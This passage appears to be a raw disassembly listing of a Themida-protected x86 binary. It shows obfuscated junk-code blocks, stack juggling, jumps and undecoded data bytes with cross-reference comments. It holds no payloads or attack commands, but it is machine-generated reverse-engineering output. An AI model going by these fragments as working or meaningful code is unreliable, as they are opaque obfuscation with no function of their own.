loc_50B112:				; CODE XREF: Themida_:0050EA85j
		or	bl, cl
		pop	ecx
		sub	bl, 1
		push	3E2Eh
		jmp	loc_5157E4
; ---------------------------------------------------------------------------
		dw 0FC88h
		dd 37E9E588h
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50B12B:				; CODE XREF: Themida_:00505DC8j
		pop	esp
		mov	[esp], esi
		push	7884EB7h
		jmp	loc_50A5BB
; ---------------------------------------------------------------------------
		db 5Ah,	83h, 0C4h
		dd 10D2504h, 0F7054528h, 1FAFFFEh, 76E958C3h, 5A0000BAh
		dd 7FBEE9h
		db 0
; ---------------------------------------------------------------------------


loc_50B155:				; CODE XREF: Themida_:0050CD44j
		pop	ebx
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_507BC0
; ---------------------------------------------------------------------------


loc_50B168:				; CODE XREF: Themida_:0050ACECj
		mov	edx, 78474B03h
		mov	edi, edx
		pop	edx
		xor	edi, esi
		jmp	loc_507936
; ---------------------------------------------------------------------------


loc_50B177:				; CODE XREF: Themida_:0050ED14j
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_50E094
; ---------------------------------------------------------------------------
		dd 8904EC83h, 0F1B9240Ch, 0BB60F86Bh, 27625B4Eh, 30DFE9h
		dd 470D6800h, 57E90000h
		db 0A3h, 2 dup(0FFh)
byte_50B1A7	db 66h			; DATA XREF: Themida_:00502954o
		dd 5224048Bh, 0B951E289h, 117323B1h, 0FFA7DFE9h, 24248BFFh
		dd 68240489h, 242Dh, 24048F54h,	2701E9h
		db 0
; ---------------------------------------------------------------------------


loc_50B1CD:				; CODE XREF: Themida_:0051310Ej
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5151A3
; ---------------------------------------------------------------------------
		dw 0A568h
		dd 0E9000014h, 0C9CEh, 4EC81h, 0C890000h, 81E18924h, 4ECh
		dd 24148900h, 0FFF20AE9h, 0F5F281FFh, 814FC867h, 0CD569DF2h
		dd 71CA8136h, 0E9187E7Ch, 6CF1h, 4C4835Ah, 0B35BE9h
		db 0
; ---------------------------------------------------------------------------


loc_50B225:				; CODE XREF: Themida_:00505130j
		pop	edx
		sub	bl, dl
		jmp	loc_505D23
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 14h
		dd 2977AA10h, 14C381FBh, 8B77AA10h, 0C481243Ch,	4, 4504FD05h
		dd 5B74E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50B24E:				; CODE XREF: Themida_:0050A531j
		push	1336h
		mov	[esp], eax
		push	edi
		push	589B00A2h
		pop	edi
		or	edi, 78214DD8h
		jmp	loc_503434
; ---------------------------------------------------------------------------
		dd 54240489h, 0BC7EE9h,	8BF80100h, 0C483243Ch, 24043304h
		dd 33240431h, 0E95C2404h, 0FFFFF945h, 4EC81h, 6AE90000h
		dd 0FFFFFFEDh, 34FF8734h
		db 24h,	58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		jmp	loc_50A285
; ---------------------------------------------------------------------------
		db 5Dh
		dd 456F5E35h, 58C7313Ch, 5007EFC1h, 6E0BA52h, 64E97B38h
		dd 6800001Ch, 1340659Fh, 8124348Bh, 4C4h, 4FEE8100h, 5735223Bh
		dd 6F66E5BFh, 65E7815Ah, 4F3B935Fh, 6CC6E781h, 0BE566C61h
		dd 4ECB5FC9h, 0B0CCE9h
		db 0
; ---------------------------------------------------------------------------


loc_50B2ED:				; CODE XREF: Themida_:00515FF0j
		push	edx
		push	ebp
		mov	ebp, 4
		mov	edx, ebp
		pop	ebp
		sub	ebp, 35455298h
		add	ebp, edx
		add	ebp, 35455298h
		pop	edx
		push	1E3Ah
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_50BF9B
; ---------------------------------------------------------------------------
		db 88h
		dd 59CF88F1h, 0FF9D08E9h, 59C821FFh, 0FF17B32Dh, 8BC131FFh
		dd 0C4832404h, 59CF0104h, 0FF7FFFE9h, 2434FFFFh, 4C48358h
		dd 4EC8350h, 89241C89h,	4C381E3h, 83000000h, 1C3304EBh
		dd 241C3124h, 5C241C33h, 68242489h, 3AD1h, 0B8240489h
		dd 4, 20FE9h, 0F9015800h, 74FF515Fh, 0C8B0424h,	4C48324h
		dd 0E924048Fh, 0FFFFD1EBh
; ---------------------------------------------------------------------------


loc_50B38C:				; CODE XREF: Themida_:005055B1j
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_50A8D9
; ---------------------------------------------------------------------------


loc_50B398:				; CODE XREF: Themida_:00513A51j
		mov	esi, [esp]
		add	esp, 4
		push	1A9Bh
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		jmp	loc_50A52E
; ---------------------------------------------------------------------------


loc_50B3B8:				; CODE XREF: Themida_:005135E1j
		pop	ecx
		sub	esp, 4
		mov	[esp], ecx
		xchg	esi, [esp]
		not	esi
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_50B8A6
; ---------------------------------------------------------------------------


loc_50B3D2:				; CODE XREF: Themida_:00515972j
		xor	[esp], ecx
		xor	ecx, [esp]
		xor	[esp], ecx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	esi
		jmp	loc_509A2C
; ---------------------------------------------------------------------------


loc_50B3EE:				; CODE XREF: Themida_:0050F718j
		add	ecx, esi
		pop	esi
		sub	eax, ecx
		jmp	loc_515B95
; ---------------------------------------------------------------------------
aQskn		db 'Qék­',0
		align 2
		dw 1C33h
		dd 241C3124h, 0E9241C33h, 2C3Fh, 2508E8C1h, 75B705D4h
		dd 6808E8C1h, 7837h, 4067E9h, 243C8900h, 0C833E954h, 815B0000h
		dd 0CC111DF3h, 0DF295847h, 0BEE9E9h, 8BC80100h,	0C483240Ch
		dd 1DBCE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50B446:				; CODE XREF: Themida_:00512913j
		shr	dword ptr [eax], 6
		neg	dword ptr [eax]
		and	dword ptr [eax], 0BD06F84h
		add	dword ptr [eax], 33D07F21h
		push	edx
		jmp	loc_50FC24
; ---------------------------------------------------------------------------
		db 66h,	5Bh, 0
		dd 305866C5h, 240C8BE8h, 4C481h, 0EC830000h, 2D35E904h
		dd 0F3810000h, 0B866B505h, 535BDF31h, 667339BBh, 611D680Fh
		dd 2C890000h, 471BBD24h, 0BB537865h, 998519Eh, 0FF92FEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50B49D:				; CODE XREF: Themida_:0050A144j
		pop	esi
		add	eax, 4
		sub	esp, 4
		mov	[esp], eax
		push	dword ptr [esp+4]
		jmp	loc_513941
; ---------------------------------------------------------------------------
aScj_0		db '\éCj',0
		db 0
; ---------------------------------------------------------------------------


loc_50B4B9:				; CODE XREF: Themida_:00507B42j
		push	ebp
		mov	ebp, esp
		jmp	loc_50786B
; ---------------------------------------------------------------------------
		db 68h,	0D7h, 6Dh
		dd 4890000h, 163BB824h,	8C3513C5h, 3112DC19h, 24048BC2h
		dd 9E05E9h, 4A18BF00h, 0DFF705C9h, 8108EFC1h, 0FA36B1F7h
		dd 68565200h, 28ED48A8h, 0EEC14E5Eh, 3EEC105h, 8E36F681h
		dd 0FFE930A0h
		db 50h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50B507:				; CODE XREF: Themida_:005168ABj
		mov	ebx, 0AFADA27Ch
		sub	eax, ebx
		pop	ebx
		add	ebx, eax
		jmp	loc_5030DB
; ---------------------------------------------------------------------------
		dw 0EF88h
		dd 592434FFh, 4C481h, 665A0000h, 9B1CE951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50B52A:				; CODE XREF: Themida_:0050ABF9j
		not	ebx
		xor	ebx, 0F23FD6EBh
		push	75DFh
		mov	[esp], edi
		mov	edi, ebx
		mov	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		mov	ebx, [esp]
		jmp	loc_5056F1
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0EC83D828h, 14896602h, 4E5B224h, 66D00050h, 2850B551h
		dd 665966E8h, 241C8B5Ah, 6604C483h, 665D6168h, 0E9240C89h
		dd 6CE8h, 0E9241C89h, 0FFFFA5DFh, 4244401h, 2434FF58h
		dd 0C5BCE958h, 1C89FFFFh, 42EEBB24h, 0D3F748E8h, 8904EC83h
		dd 0F3B9240Ch, 0E948E842h, 0FFFFF021h
; ---------------------------------------------------------------------------


loc_50B5AC:				; CODE XREF: Themida_:0050E8A7j
		pop	esi
		sub	esi, 0F38A3E06h
		mov	ebx, esi
		pop	esi
		sub	ebp, ebx
		pop	ebx
		add	eax, 7AE74BF2h
		sub	eax, ebp
		sub	eax, 7AE74BF2h
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		push	1616h
		mov	[esp], edx
		push	esi
		push	ecx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 5D990AB4h
		jmp	loc_50E41F
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481243Ch, 4, 5C241487h, 0BD242C89h, 3EF6B9Fh, 8104E5C1h
		dd 1EDh, 0BA525700h, 5B3C206Eh,	7B49E1BFh, 8BD73138h, 0C4812414h
		dd 4, 3C8BFD09h, 88D3E924h, 0C3830000h,	0BE3BE904h, 0D6F7FFFFh
		dd 0FFEEEAE9h, 59CC88FFh, 888EB652h, 0E5285AF5h, 40C38058h
		dd 3DEB80h, 3DC380EBh, 0E940EB80h, 51F0h, 0BE9C281h, 0EA81FE4Eh
		dd 748B3C90h, 0F2E9FA01h, 0BD0000B8h, 4, 43E9E829h
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50B677:				; CODE XREF: Themida_:0050E3F0j
		push	3766h
		mov	[esp], edi
		jmp	loc_50C656
; ---------------------------------------------------------------------------
		dd 0C0C5FE5Ah, 0ED8004E5h, 53525317h, 0DA88EB88h, 5AD3885Bh
		dd 88FFC380h, 0C8A7E9DDh, 0C681FFFFh, 11800CCCh, 592434FFh
		dd 4C481h, 34330000h, 0BF65E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50B6BA:				; CODE XREF: Themida_:0050E218j
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	0ABB3A0Eh
		jmp	loc_516B64
; ---------------------------------------------------------------------------
		dw 3489h
		dd 0B3CCE924h, 0ABBAFFFFh, 81276621h, 12939C2h,	0E9D30121h
		dd 0FFFF8BDCh
; ---------------------------------------------------------------------------


loc_50B6F0:				; CODE XREF: Themida_:00502D6Aj
		mov	[esp], eax
		jmp	loc_512330
; ---------------------------------------------------------------------------
		dd 0E243481h, 5D648C08h, 80EF581h, 1AE9648Ch, 58FFFFF9h
		dd 21E952h, 0E1C10000h,	53D9F708h, 5910BBh, 0B34DE951h
		dd 0EF800000h, 69FF68FFh, 0C890000h, 5DE95224h,	5300001Eh
		dd 4BBh, 5BDA8900h, 43576205h, 2DD00134h, 34435762h, 0A86EE95Ah
		dd 0EA810000h, 4, 8B241487h, 2C892424h,	0D4EB6824h, 535D1990h
		dd 0AC0F7F68h, 0DBF75B47h, 642E381h, 0EBC1221Fh, 0A7E4E905h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50B77A:				; CODE XREF: Themida_:0051436Cj
		dec	edi
		or	edi, 3BA26AF9h
		sub	edi, 39611EDDh
		sub	eax, edi
		pop	edi
		dec	eax
		sub	eax, 1EF8E4C9h
		add	ebx, eax
		pop	eax
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		jmp	loc_509FE1
; ---------------------------------------------------------------------------


loc_50B7A2:				; CODE XREF: Themida_:0051533Cj
		xor	ebx, 634152FBh
		add	ebx, 1
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 1E3D7DA8h
		inc	edx
		dec	edx
		xor	edx, 0E7468146h
		add	ebx, edx
		jmp	loc_50EB88
; ---------------------------------------------------------------------------


loc_50B7CB:				; CODE XREF: Themida_:00506320j
		mov	eax, [esp]
		add	esp, 4
		shr	edx, 1
		add	edx, 4D202822h
		push	ebp
		mov	ebp, 236B6C81h
		add	edx, ebp
		pop	ebp
		push	esi
		mov	esi, 30AA19D3h
		add	esi, 0A020FA3h
		or	esi, 6929735Eh
		sub	esi, 76CD0D1Fh
		xor	edx, esi
		pop	esi
		jmp	loc_50BF2A
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 81242489h, 42404h, 2C8B0000h, 6193E924h, 8F5A0000h
		dd 248B2404h, 2F6B6824h, 42E90000h, 83FFFF81h, 0C8904ECh
		dd 0AA9B924h, 0E981077Dh, 37B8432Bh, 0C1FFE983h, 0F18104E9h
		dd 1ECF2F5Ah, 1C181h, 0F1810000h, 53F6417Bh, 4559CD89h
		dd 0FFFFED81h, 3FE9FFFFh, 0BB000060h, 0FF37F9D6h, 15BDD01h
		dd 0C2815DEAh, 4, 653468h, 24148900h, 42474FFh,	0E924148Bh
		dd 0FFFF752Bh, 310B30BFh, 5FF9290Fh, 411BD55h, 0FCE92EFFh
		db 9Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50B89B:				; CODE XREF: Themida_:005096F7j
		add	ebp, 4
		jmp	loc_50FB69
; ---------------------------------------------------------------------------


loc_50B8A6:				; CODE XREF: Themida_:0050B3CDj
		xor	[esp], esi
		jmp	loc_5134F4
; ---------------------------------------------------------------------------


loc_50B8AE:				; CODE XREF: Themida_:00503F9Dj
		add	eax, 4
		add	eax, 4
		jmp	loc_5037EF
; ---------------------------------------------------------------------------


loc_50B8BB:				; CODE XREF: Themida_:00507262j
		neg	ebp
		sub	ebp, 8C98A37Dh
		mov	ecx, ebp
		pop	ebp
		push	ecx
		mov	ecx, 63701D23h
		shr	ecx, 2
		jmp	loc_50BFA3
; ---------------------------------------------------------------------------
		dd 24348B54h, 0FFCF0EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50B8DD:				; CODE XREF: Themida_:0050557Ej
		and	edi, 79D554C6h
		or	edi, 5D53EA0h
		xor	edi, 18201458h
		sub	eax, edi
		pop	edi
		jmp	loc_514C9F
; ---------------------------------------------------------------------------
		db 89h
		dd 0B439E9D1h, 0C681FFFFh, 0E1AFC808h, 0FF8906E9h, 0E9F809FFh
		dd 0FFFFD506h, 0E9241C89h, 0A930h, 3013E95Ch, 2C590000h
		dd 807CE94Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50B926:				; CODE XREF: Themida_:00515A3Dj
		sub	esp, 4
		mov	[esp], edi
		push	eax
		mov	eax, 57B179C4h
		and	eax, 2AB0619Fh
		shr	eax, 5
		shl	eax, 3
		shl	eax, 1
		jmp	loc_50832E
; ---------------------------------------------------------------------------
		dd 592434FFh, 5904C483h, 79AAE9h, 59CE0100h, 7BEA68h, 243C8900h
		dd 397B85BFh, 9CF814Ch,	0E9443A06h, 2FACh, 55E18951h, 769CBB53h
		dd 98BD35A3h, 3135A376h, 6122E9DDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50B982:				; CODE XREF: Themida_:0050D507j
		pop	esp
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	ebx
		mov	ebx, 4
		jmp	loc_511FFB
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4082424h, 2CE99C24h,	29FFFF71h, 15B5AD0h, 3EFA68E8h
		dd 0C890000h, 0E05E924h, 0C5810000h, 4,	4BA52h,	52E90000h
		dd 89000079h, 4C681E6h,	81000000h, 4EEh, 24348700h, 241C895Ch
		dd 0D78B2BBh, 60CB815Bh, 8144C41Bh, 4ECh, 241C8900h, 0FF77E2E9h
		dd 9EE68FFh, 14890000h,	81E28924h, 4C2h, 4C28100h, 87000000h
		dd 0EE92414h, 580000BFh, 8A56E9h
		db 0
; ---------------------------------------------------------------------------


loc_50BA15:				; CODE XREF: Themida_:00516769j
		mov	edi, ebp
		jmp	loc_510818
; ---------------------------------------------------------------------------
		dd 814BC381h, 0EF81C878h, 1388356Dh, 0C781DF01h, 1388356Dh
		dd 8B2434FFh, 6EE9241Ch, 89000050h, 34E9243Ch, 8B00001Fh
		dd 0E92424h, 10000A6h, 0E2E95AD3h, 810000BFh, 4ECh, 24248900h
		dd 4240483h, 40558h, 0EC830000h, 24348904h, 720B0BBEh
		dd 0FBF5777h, 3177720Bh, 243C8BFEh, 7C56E9h
		db 0
; ---------------------------------------------------------------------------


loc_50BA81:				; CODE XREF: Themida_:0050A05Cj
		add	edx, ebp
		pop	ebp
		push	ecx
		mov	ecx, 75C7599Ch
		add	edx, ecx
		pop	ecx
		add	edx, ebp
		sub	edx, 75C7599Ch
		push	ecx
		mov	ecx, 42967A5h
		jmp	loc_508199
; ---------------------------------------------------------------------------
		dd 0FD685E5Eh, 8900006Ah, 0C4E92414h, 0BDFFFFB1h, 4C2CA66Fh
		dd 0D15FFD29h, 0ED814DEDh, 64447591h, 68h, 242C2900h, 5877E95Dh
		dd 3C870000h, 6DE95C24h, 59000061h, 0B1CAE9h
		db 0
; ---------------------------------------------------------------------------


loc_50BADD:				; CODE XREF: Themida_:0050EF4Aj
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_50A8E8
; ---------------------------------------------------------------------------


loc_50BAEB:				; CODE XREF: Themida_:00516538j
		sub	bl, 0F9h
		add	bl, 89h
		jmp	loc_50348F
; ---------------------------------------------------------------------------


loc_50BAF6:				; CODE XREF: Themida_:0050F68Fj
		shl	edi, 6
		xor	edi, 683AC182h
		add	esi, edi
		pop	edi
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		sub	[esp], al
		pushf
		jmp	loc_502ACB
; ---------------------------------------------------------------------------
		db 87h,	0Ch, 24h
		dd 2414895Ch, 5670BB53h, 7E908ACh, 0B8000060h, 7C1A72A4h
		dd 4244401h, 68E95F58h,	81000001h, 0A15D73C2h, 0CB68591Ah
		dd 89000068h, 0BE56240Ch, 2, 15EF189h, 0FF5259CAh, 5A042474h
		dd 56E6E9h
		db 0
byte_50BB5D	db 66h,	8Bh, 4		; DATA XREF: Themida_:0050295Co
aSiuss		db '$S‰ãéá[',0
		db 0
; ---------------------------------------------------------------------------


loc_50BB69:				; CODE XREF: Themida_:0050C73Aj
		push	4E02h
		mov	[esp], esi
		push	ebx
		mov	ebx, 5F771992h
		jmp	loc_512902
; ---------------------------------------------------------------------------
		dd 1B4CF381h, 0D9011ED7h, 83241C8Bh, 0C18104C4h, 2, 98B5E9h
		db 0
; ---------------------------------------------------------------------------


loc_50BB95:				; CODE XREF: Themida_:00512245j
		push	esp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	ecx
		jmp	loc_511835
; ---------------------------------------------------------------------------
		dw 0E689h
		dd 4C681h, 0C6810000h, 4, 8B243487h, 0BE0F2424h, 0E95451C8h
		dd 9CF0h, 4244481h, 567D2C6Bh, 99BF5750h, 895ADF19h, 44295FF8h
		dd 48B0824h, 4C48324h, 4245401h, 4244481h, 5ADF1999h, 74696851h
		dd 1C890000h, 961BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50BC0A:				; CODE XREF: Themida_:00507221j
		push	esi
		mov	esi, 3AAA7267h
		and	esi, 35A6631Fh
		shr	esi, 7
		or	esi, 2E7829F2h
		xor	esi, 503A1F16h
		add	esi, 81BC8D24h
		add	ebx, esi
		pop	esi
		jmp	loc_507D1D
; ---------------------------------------------------------------------------
		db 89h
		dd 89535EF7h, 8BDD89FBh, 0C483241Ch, 0D350E904h
		db 2 dup(0FFh)
word_50BC46	dw 8B66h		; DATA XREF: Themida_:005028FCo
		dd 6852240Ch, 6501h, 56242489h,	0FFDC3BE9h, 2DF001FFh
		dd 18E132B9h, 33102205h, 2434FF50h, 6382E9h
		db 0
; ---------------------------------------------------------------------------


loc_50BC6D:				; CODE XREF: Themida_:0050A280j
		push	edx
		add	dword ptr [esp], 43B95551h
		pop	ebp
		sub	ebp, 43B95551h
		mov	edx, [esp]
		add	esp, 4
		and	eax, ebp
		pop	ebp
		or	edx, eax
		shl	edx, 1
		push	ecx
		mov	ecx, esp
		push	edi
		jmp	loc_5060AA
; ---------------------------------------------------------------------------
		dw 0D6B3h
		dd 4EC81h, 0FAE90000h, 56FFFFA9h, 3049EEBEh, 81DEF714h
		dd 534BBEEEh, 0D8AFE94Ah, 14BBFFFFh, 0F7590043h, 1EB83DBh
		dd 4E41E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50BCC2:				; CODE XREF: Themida_:0051478Dj
		jmp	loc_502ACB
; ---------------------------------------------------------------------------


loc_50BCC7:				; CODE XREF: Themida_:0050604Fj
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_514F39
; ---------------------------------------------------------------------------
aQS5		db 'QµÐé',1Bh,'5',0
		dw 0B700h
		dd 0E9F83031h, 0FFFFF77Dh, 66EAE281h, 0C2683A57h, 89000012h
		dd 0BD552404h, 65C4A3Ah, 0E95DE889h, 0FFFF8426h
aMrPTFshT	db '¬R²Àâ',8,'fShËT',0 ; DATA XREF: Themida_:00502940o
		align 2
		dw 1489h
		dd 0E901B224h, 9723h
; ---------------------------------------------------------------------------


loc_50BD14:				; CODE XREF: Themida_:005100A4j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	edx
		jmp	loc_509378
; ---------------------------------------------------------------------------
		dd 4C0CED81h, 814D0689h, 3362D1EDh, 0E9E831B9h,	0FFFFC9DAh
; ---------------------------------------------------------------------------


loc_50BD38:				; CODE XREF: Themida_:0050E41Aj
		add	ecx, 1554DDEh
		pop	eax
		jmp	loc_50D8A5
; ---------------------------------------------------------------------------
		dd 2FCEEE81h, 148B51EAh, 0E6895624h, 0FFA661E9h, 4CC468FFh
		dd 1C890000h, 240CFF24h, 8B2414F7h, 99E9241Ch
		db 0BFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_50BD6B:				; CODE XREF: Themida_:00503CDBj
		push	ebx
		push	edx
		jmp	loc_50792B
; ---------------------------------------------------------------------------


loc_50BD72:				; CODE XREF: Themida_:00509D55j
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_5045D2
; ---------------------------------------------------------------------------
		db 58h,	21h, 0CFh
		dd 81240C8Bh, 4C4h, 57906800h, 14890000h, 7226BA24h, 0D7314DDFh
		dd 8324148Bh, 0FE2904C4h, 5B98E9h
		db 0
; ---------------------------------------------------------------------------


loc_50BDA5:				; CODE XREF: Themida_:00508E11j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp


loc_50BDB2:				; CODE XREF: Themida_:00507F72j
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5063D9
; ---------------------------------------------------------------------------


loc_50BDBD:				; CODE XREF: Themida_:00514232j
		pop	esp
		push	4B28h
		mov	[esp], ebx
		push	ecx
		sub	esp, 4
		mov	[esp], eax
		push	edx
		mov	dl, 15h
		mov	al, dl
		pop	edx
		dec	al
		jmp	loc_50A44D
; ---------------------------------------------------------------------------


loc_50BDDD:				; CODE XREF: Themida_:005039FDj
		push	719Bh
		mov	[esp], ebx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		pop	dword ptr [esp]
		mov	ebp, [esp]
		push	51B9h
		jmp	loc_50D5C9
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 0E4h
		dd 1FF5078h, 0EAC15FFAh, 5EAC107h, 6562CA81h, 0BE5664E8h
		dd 4B92002Dh, 8102EEC1h, 0C6167EF6h, 6F6810Ah, 0E9DA1914h
		dd 4E6Eh, 1EEE815Dh, 8160AB64h,	0EA222ACEh, 8AEE8100h
		dd 815ACE51h, 0EF421DEEh, 0D6F74E6Fh, 7168EE81h, 3E9C2CFh
		dd 68000007h, 4F01h, 53242489h,	0A52AE9h, 2474FF00h, 24048B04h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_50F449
; ---------------------------------------------------------------------------
		db 81h,	0CAh, 52h
		dd 815EA01Ch, 0E08E53F2h, 138F052Ch, 0D0012039h, 39138F2Dh
		dd 67E95A20h, 89000080h, 511E9E3h, 0D8210000h, 12D5Bh
		dd 0E8830000h, 149AE901h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50BEBA:				; CODE XREF: Themida_:0050D6DAj
		shr	ecx, 2
		add	ecx, 541B5472h
		sub	ecx, 70DC1AB6h
		xor	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		xchg	ebx, esi
		not	ebx
		xchg	ebx, esi
		jmp	loc_517E08
; ---------------------------------------------------------------------------


loc_50BEDC:				; CODE XREF: Themida_:00513998j
		pop	esp
		jmp	loc_509ED0
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 68565604h, 57D1h, 0E9241489h, 21CEh,	6853665Bh, 6F0Bh
		dd 0B6241489h, 3062B3CEh, 24148BF3h, 80AEE9h
		db 0
; ---------------------------------------------------------------------------


loc_50BF0D:				; CODE XREF: Themida_:005119A8j
		pop	eax
		add	[esp+4], ebp
		pop	ebp
		mov	eax, [esp]
		push	esi
		push	esp
		pop	esi
		push	ebx
		mov	ebx, 7F553398h
		sub	ebx, 7F553394h
		jmp	loc_506E52
; ---------------------------------------------------------------------------


loc_50BF2A:				; CODE XREF: Themida_:0050B800j
		xor	edx, 0CA3BA360h
		jmp	loc_50FBFA
; ---------------------------------------------------------------------------
		db 5Ah,	0E9h, 0F4h
		dd 58000014h, 4E9D0F7h,	8FFFFFA5h, 248B2404h, 24048924h
		dd 0FF6B7AE9h, 88F088FFh, 24048B01h, 2C6368h, 241C8900h
		dd 0C381E389h, 4, 0E904C383h, 0FFFFCC09h
; ---------------------------------------------------------------------------


loc_50BF70:				; CODE XREF: Themida_:0050EAFCj
		pop	eax
		push	eax
		jmp	loc_50D193
; ---------------------------------------------------------------------------
		dd offset dword_49D85C+10Ch
		align 4
aISux		db '‰$$éux',0
		align 4
aHk		db 'hª~',0
		dd 240C8900h, 240C8B54h, 4C481h, 8BE90000h
		db 0ADh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_50BF9B:				; CODE XREF: Themida_:0050B316j
		mov	esp, [esp]
		jmp	loc_505AEE
; ---------------------------------------------------------------------------


loc_50BFA3:				; CODE XREF: Themida_:0050B8CFj
		add	ecx, 626B1124h
		sub	ebx, ecx
		pop	ecx
		sub	ebx, ecx
		jmp	loc_504B22
; ---------------------------------------------------------------------------
		db 83h
		dd 75E904C4h, 68FFFF89h, 8DEC5C49h, 3635E95Bh, 68560000h
		dd 194A787Ch, 1C6815Eh,	0C10FFB7Eh, 0C68108EEh,	55B7E38Dh
		dd 515EF589h, 7E6703B9h, 2EC18127h, 313BBCB9h, 0EF8959CDh
		dd 0E9EFD15Dh, 4A26h, 0EAC0B8B2h, 0A750E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50C002:				; CODE XREF: Themida_:00510FBAj
		xor	ecx, [esp]
		pop	esp
		jmp	loc_502ACB
; ---------------------------------------------------------------------------


loc_50C00B:				; CODE XREF: Themida_:005033A4j
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		jmp	loc_5084A9
; ---------------------------------------------------------------------------
		dw 525Ch
		dd 4BB53h, 0DA890000h, 0FFF0CFE9h, 5BDF31FFh, 3E7EBA52h
		dd 0C2833001h, 2C875201h, 0DA0EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50C04A:				; CODE XREF: Themida_:005125FAj
		sub	ebp, 4
		jmp	loc_50D504
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 6C32276Bh, 0FCE9E901h, 87000086h, 87EA87D7h,	87D6F7F5h
		dd 87EA87F5h, 0EFF781D7h, 0E95FF119h, 77B9h, 0C681C629h
		dd 2692235Eh, 8DF68158h, 0F72ABA14h, 58C681D6h,	81184E07h
		dd 0ECB104EEh, 5EF50114h, 305ABD55h, 0E92948B1h, 81E9015Dh
		dd 0B1305AC1h, 2434FF48h, 4C4815Dh, 81000000h, 2C1h, 240C3300h
		dd 0E9240C31h, 4699h, 0D006C781h, 0F8018041h, 7C3FE9h
		db 0
; ---------------------------------------------------------------------------


loc_50C0D1:				; CODE XREF: Themida_:00512128j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_510F81
; ---------------------------------------------------------------------------


loc_50C0E4:				; CODE XREF: Themida_:00514CAFj
		mov	edx, 4
		add	ecx, edx
		pop	edx
		jmp	loc_51707F
; ---------------------------------------------------------------------------
		db 89h,	0CAh, 59h
		dd 1B65BD55h, 15E9465Bh, 0BB000014h, 79855C53h,	0FF843EE9h
		dd 5FF829FFh, 592434FFh, 7804E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50C116:				; CODE XREF: Themida_:0050641Bj
		xor	ecx, 7B1E3CFAh
		jmp	loc_50DFB4
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 83000000h, 9AE904EEh, 0BEFFFF7Fh, 1AF628E4h,	815FFE31h
		dd 802BC4C5h, 81F52938h, 802BC4EDh, 8294E938h, 5055FFFFh
		dd 3869E9h
		db 0
; ---------------------------------------------------------------------------


